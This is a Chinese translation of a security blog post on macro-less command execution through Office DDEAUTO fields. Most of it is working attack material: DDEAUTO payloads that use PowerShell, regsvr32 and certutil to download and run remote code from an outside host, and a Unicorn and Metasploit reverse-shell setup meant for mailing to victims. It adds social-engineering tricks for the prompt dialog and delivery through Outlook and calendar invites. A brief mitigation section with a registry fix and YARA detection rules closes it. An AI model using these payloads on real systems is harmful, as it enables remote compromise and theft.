译者:WisFree
预估稿费:190RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
TL;DR
打开outlook客户端查看邮件及office文档时,千万要注意,不清楚的弹框不要点确认!
概述
Sensepost的安全研究专家在几天之前曾发布过一篇漏洞报告,根据该报告所描述的内容,当目标用户打开了一个经过特殊制作的Office文档时,该漏洞可以在不使用恶意宏的情况下在目标主机中触发命令执行。虽然攻击者在实现这种攻击的过程中,需要利用社会工程学技术来欺骗用户点击两到三个消息提示框中的“确认”按钮,但绝大多数的终端用户都还是非常好骗的。
研究人员发现,通过利用DDEAUTO功能所提供的参数,攻击者可以远程利用PowerShell在目标主机中下载恶意Payload。DDE是Inter-Process Communication(进程间通信-IPC)机制下的一种遗留功能,最早可以追溯到1987年,它可以与一个由其他基于Microsoft Windows程序所创建的文档建立一条动态数据交换(DDE)链接(当你更新DDE域时,DDE域会插入新的信息,链接文档将能够查看到该信息)。
SensePost的研究人员发现,除了指定一个类似Excel这样的应用程序之外,攻击者还可以将其他应用程序的任意参数当作DDE的第一个参数,并引用其他的argument作为第二个参数来使用(大小不能超过255个字节)。
虽然Sensepost的研究人员在演示该漏洞时使用的是Word,但同学们可以将这项技术用于其他的应用程序。在过去的几天时间里,Twitter上已经有人公布了很多其他的利用方法,例如通过Word、Excel以及基于富文本的Outlook电子邮件来实现代码执行。在这篇文章中,我将跟大家讨论一下我在我自己实验室里成功实现的方法。
快速和简单的测试
打开一个新的Word文档,按下键盘的组合键CTRL+F9,在文档中出现“{ }”之后将下面这段代码复制到两个大括号之间,然后保存文件:
DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"
此时你Word文档的界面应该如上图所示的一样。
Payload
虽然弹出calc(计算器)是比较“没意思”的,但这只是演示这种功能的实现而已,你还可以利用这种功能做到更加复杂的事情,例如在目标系统中执行恶意Payload。比如说:
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\WindowsSystem32cmd.exe /c cscript.exe index.js"
DDEAUTO c:\windows\system32\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:\windows\system32\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "
除此之外,我还自己编写了一个bash脚本并使用CactusTorch来自动化地在生成vbs/hta/js文件中生成反向HTTPS meterpreter Payload,你可以将它们插入到Word文档中以进行测试。【脚本获取地址】
我通过自己的研究发现,你还可以利用社会工程学技术来对程序所弹出的消息框信息进行处理,并增加用户点击“确认”的可能性。
DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"
虽然PowerShell webdl脚本可能更加容易实现一些,但是你可能会需要让你的Payload全部保存在一个文档之中,这样你就不需要再通过网络来调用额外的恶意代码了。Dave Kennedy已经更新了他的Unicorn Python脚本,该脚本可以生成一个msfvenom meterpreter Paload并当DDEAUTO被触发的时候得到一个base64 编码/解码的Payload。近期,Dave还修复了关于消息窗的问题,感兴趣的用户可以访问他的GitHub库以获取更多信息【传送门】。
在Kali中开启终端窗口:
IP=`ip -4 addr show eth0 | grep -oP '(?<=inets)d+(.d+){3}'`
git clone https://github.com/trustedsec/unicorn.git && cd unicorn
python unicorn.py windows/meterpreter/reverse_https $IP 443 dde
cat powershell_attack.txt | xclip -selection clipboard | leafpad powershell_attack.txt
将上面这段Payload复制到Word文档之中,保存好文档之后将其发送给你的目标用户。接下来,在一个新的终端窗口中打开你的meterpreter handler来接收shell命令。
show eth0 | grep -oP '(?<=inets)d+(.d+){3}'`
msfconsole -qx "use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LHOST '$IP';set LPORT 443; set ExitOnSession false;exploit -j -z"
注:如果你需要修改你的外部IP地址,你可以更改其中的第一行代码:
IP="$(dig +short myip.opendns.com @resolver1.opendns.com)"
Outlook
你还可以在Outlook富文本电子邮件信息中触发这种功能,不过需要注意的是,对于Outlook 2013/2016来说,你需要在添加DDEAUTO Payload之前嵌入一个图片/表格/对象。
接下来跟之前一样,打开一个新的Word文档,然后按下键盘的组合键CTRL+F9,在文档中出现“{ }”之后将Payload拷贝到两个大括号之间,然后打开一个新的Outlook电子邮件信息。点击“格式化文本”(Format Text)标签,将消息格式修改为“富文本”(Rich Text)格式:
在消息内容(body)中任意复制粘贴一张图片文件:
从你的Word文档中复制DDEAuto Payload,将其粘贴到邮件内容(body)之中,然后输入收件人(目标用户)的邮件地址并点击发送按钮。接下来,Outlook会弹出一个DDE消息框,你只需要点击“取消”(No)即可。当你的目标用户收到这封电子邮件之后,除非他们点击了“回复”(Reply)按钮,否则将不会触发Payload的执行。如果他们点击了前两个消息框中的“确认”(Yes)按钮,则将会触发Payload的执行。
日历邀请
另外一种攻击向量就是通过触发日历邀请事件来实现的,每当用户打开日历查看自己的行程安排时,就会触发Payload的执行:
缓解方案
我们本文所介绍的技术已经在doc(x/m)、dot(x/m)、rtf、Word XML、草稿信息以及oft文件上测试成功了。虽然当这些类型的文件被打开之后,负责触发并解析恶意Payload的是Microsoft Word,但微软的回应则是:这是一种专门设计的功能,他们不会对这项功能进行所谓的“漏洞修复”,除非当前有某种勒索软件或其他的木马病毒正在利用这项功能来发动攻击。
wdormann在自己的GitHub代码库中上传了一个.reg文件,有需要的用户可以下载这个.reg文件【传送门】并在注册表中禁用DDEAUTO功能,但禁用DDEAUTO功能可能会导致OneNote的某些功能出现问题。
除此之外,Nviso还设计了如下所示的YARA规则来帮助我们检测DDE:
// YARA rules Office DDE
// NVISO 2017/10/10 - 2017/10/12
// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
rule Office_DDEAUTO_field {
strings:
$a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/
condition:
$a
}
rule Office_DDE_field {
strings:
$a = /.+?b[Dd][Dd][Ee]b.+?/
condition:
$a
}
rule Office_OLE_DDEAUTO {
strings:
$a = /x13s*DDEAUTOb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
}
rule Office_OLE_DDE {
strings:
$a = /x13s*DDEb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a